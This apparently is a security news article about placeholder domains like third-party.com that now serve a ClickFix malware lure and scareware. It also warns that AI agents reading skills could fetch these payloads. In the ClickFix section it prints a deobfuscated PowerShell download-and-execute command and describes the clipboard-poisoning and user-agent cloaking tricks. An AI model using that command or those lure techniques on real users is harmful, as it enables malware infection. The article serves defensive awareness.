Placeholder domains now serve malware. Audit your docs.

Placeholder domains now serve malware. Audit your docs.

Every developer has written something against third-party.com at some point. It was the stand-in hostname you reached for when documentation needed some external service — the same role example.com plays, minus one critical detail: unlike example.com, it was never IANA-reserved. Anyone could register it. Someone did, and that domain is now serving a ClickFix lure to anyone who visits as a Windows user.

This is the supply-chain failure that was hiding in plain sight. It is not an obscure domain someone stumbled onto — a GitHub code search turns it up in tests and docs across more than 1,700 repositories, including developer docs in Chromium, a Playwright skill in Sanity's repo and a unit test in Vercel's Turborepo. Every one of those references was reasonable when it was written. None of them moved. The ground moved underneath them.

The domain your documentation trusts

Manifold Security picked this up while scanning public agent skills. Security engineer Swapnil Patil noticed a skill that cited third-party.com had tripped a phishing alert — odd for a placeholder — and looked at what the domain actually serves today. The findings were published on September 23, 2026, and they read like a worst-case scenario for every docs author:

• third-party.com was registered back in 1996 through Network Solutions. It has served the ClickFix lure since at least June 2026.
• It is not on IANA's reserved list — unlike example.com, example.org and example.net, which RFC 2606 protects from ever being registered.
• As of this writing it is flagged malicious on both VirusTotal and Google's Safe Browsing list.

The difference between example.com and third-party.com is one line in a registry. example.com is protected precisely so documentation can use it forever without anyone owning it. third-party.com reads like a reserved placeholder, is treated like one across thousands of files, and is a perfectly normal domain that can change hands like any other. Its infrastructure did, and whoever now controls it inherits a trickle of traffic — plus every automated agent that fetches what it reads.

What a "harmless" placeholder actually serves

The interesting part is how surgical the response is. Manifold fetched the domain from a UK vantage point with different user-agents, and what you get depends on the operating system you claim to be:

• A Windows user-agent gets the full lure: a fake "Performing security verification" page dressed as Cloudflare, with an animated checkbox and a Ray ID footer for authenticity. Its JavaScript poisons the clipboard through a hidden textarea and a hijacked copy event, then walks the victim through Win+R, Ctrl+V, Enter. The command it plants, after deobfuscating the string concatenation, is:

powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null"

irm (Invoke-RestMethod) fetches a script from the second-stage server, iex (Invoke-Expression) executes it in memory, and 2>$null suppresses any error the victim might notice. A decoy string — "Security check, I'm not a robot, Verification ID" plus a random six-digit number — is appended so what lands in the Run box reads like a captcha token, not a PowerShell command.

• A macOS or Linux user-agent gets a near-identical page that stops at an error: "macOS is not supported. This website requires a Windows PC to access." No clipboard poisoning, no payload.

This is the ClickFix technique that has been hammering Windows shops all year — the victim becomes the delivery mechanism. The command uses binaries that ship signed and trusted on every Windows machine, PowerShell chief among them, so there is no downloaded executable for an antivirus to catch.

The blocklist illusion

Because the weapon only appears when you ask for it as Windows, static checks and reputation feeds are almost useless against it. Manifold noticed the domain was briefly listed on the IPFire malware blocklist on July 7, 2026, then de-listed on July 17 — the list operator's checker requested the page from a non-Windows agent, saw the benign decoy, and concluded the earlier listing was a mistake. The lure was live the entire time.

That is the whole scandal in one anecdote: a reputation feed is only as accurate as the request it makes. As Manifold puts it:

You can scan the skill, read the file, resolve the domain from your analysis box, and conclude it is fine, and be completely wrong about what a Windows user's agent receives when it follows the same link. A file scan cannot see what a website decides to send. The tell only appears at request time, from the caller that matters.

The agent angle: this is the curl | bash problem, wearing a different hat

Manifold's previous work on curl | bash and AI agents argued that the real risk in an agent fetching from the internet is not the file it installs — it is that a URL in a manifest is a promise the server is free to break later. third-party.com is the same shape at the other end of the pipe, and it is worse because the reference is even more static than a dependency: it is a documentation placeholder, the kind of string nobody thinks of as a dependency at all.

Now multiply that by the agent economy. AI agent skills and MCP-server docs are exactly the kind of content that cites third-party.com as an example endpoint — and agent skills are input to agents. A Windows-facing agent that reads a skill, harvests a URL from its documentation, and fetches it, would be pulling a live ClickFix payload. Manifold's own corpus turned up a skill that literally lazy-loads third-party.com/widget.js straight out of its documentation as a "third-party script" stand-in. This is the same failure class as the dead-CDN domain re-registration we covered a week ago, and it connects directly to poisoned agent tooling: the trust boundary is whatever text an agent will read and act on.

It is not one domain — it is a whole class

And this is where the story gets structurally uncomfortable. In a follow-up published September 24, Manifold identified thirteen more placeholder domains that are not IANA-reserved — yourdomain.com, yoursite.com, your-domain.com, your-site.com, your-app.com, yourapp.com, myapp.com, mysite.com, acme.com, company.com, mycompany.com, vendor.com and foo.com. Static checks cleared all thirteen. But two of them — yoursite.com and your-domain.com — serve scams to macOS visitors through what looks like ordinary parking-page advertising:

• your-domain.com showed a fake "MacOS Security Center" claiming four viruses and selling a counterfeit McAfee renewal at 55% off, plus a counterfeit BBC News article advertising an investment scheme.
• yoursite.com showed a counterfeit ZDFheute article — built around a fabricated talk-show confrontation between German politicians — selling an investment scheme.

Between them, those two domains appear in over 350,000 GitHub files and roughly 350 agent skills in Manifold's corpus. The cloak only fires after the page's JavaScript runs, one hop away on another host, so a text-only fetch never sees it — whatever User-Agent you send. The exit chain is pure affiliate lead-generation: it funnels victims into real McAfee subscriptions, someone collects a commission per victim, so a scanner that follows the chain to its end lands on McAfee's genuine site.

Measured by citations, the ClickFix incident is the small case; the scareware domains ride on a far larger exposure. As Manifold's Cody Nash put it: "Scareware and investment fraud are a lower threat than clipboard malware, the exposure they ride on is far larger, and none of it showed up in any static check we ran."

What to do before you regret it

Three changes, none of which require fancy tooling:

1. Use reserved placeholders only. example.com, example.org and example.net exist for exactly this purpose — IANA's example-domain documentation spells it out. If you need a second distinct host, use one of its siblings, not a plausible-sounding domain you do not own.
2. Audit what you have already shipped. Sweep your docs, skills, MCP configs, READMEs and test fixtures for third-party.com and the lookalike class — yourcompany.com, mycompany.com, your-api.com, and friends. Check which are actually registered and live. If a skill or test you published hardcodes a non-reserved placeholder, it is now pointing your readers — and their agents — somewhere you do not control.
3. Do not allowlist a live domain to silence a scanner, and do not liveness-check from shared infrastructure. A domain you do not control should not be on a known-good list, because the day its content turns, your allowlist waves it through. And a liveness probe reaching out to attacker infrastructure from your corporate IP space is a real exposure.

There is a broader pattern here that prompt-injection research keeps circling back to: the moment an agent executes what documentation says, every string in that documentation becomes an attack surface. third-party.com is the cleanest example yet — a string that sat benign in thousands of repos for years, then started resolving to attacker infrastructure with no change on the repo's side. The pointer stayed identical. What it points to went hostile. Grep your estate today, before this is your incident.

Sources

• Manifold Security: The third-party.com domain is serving a ClickFix lure to Windows users
• Manifold Security: Over 350,000 GitHub files cite placeholder domains serving scams
• The Hacker News: Placeholder third-party[.]com Referenced Across 1,700+ Repositories Now Serves Malicious Content
• Internet Assigned Numbers Authority: IANA — Reserved Example Domains
• IETF: RFC 2606 — Reserved Top Level DNS Names
• Manifold Security: What to think about curl | bash now that AI agents run it
• U.S. Federal Trade Commission: How to spot a CAPTCHA scam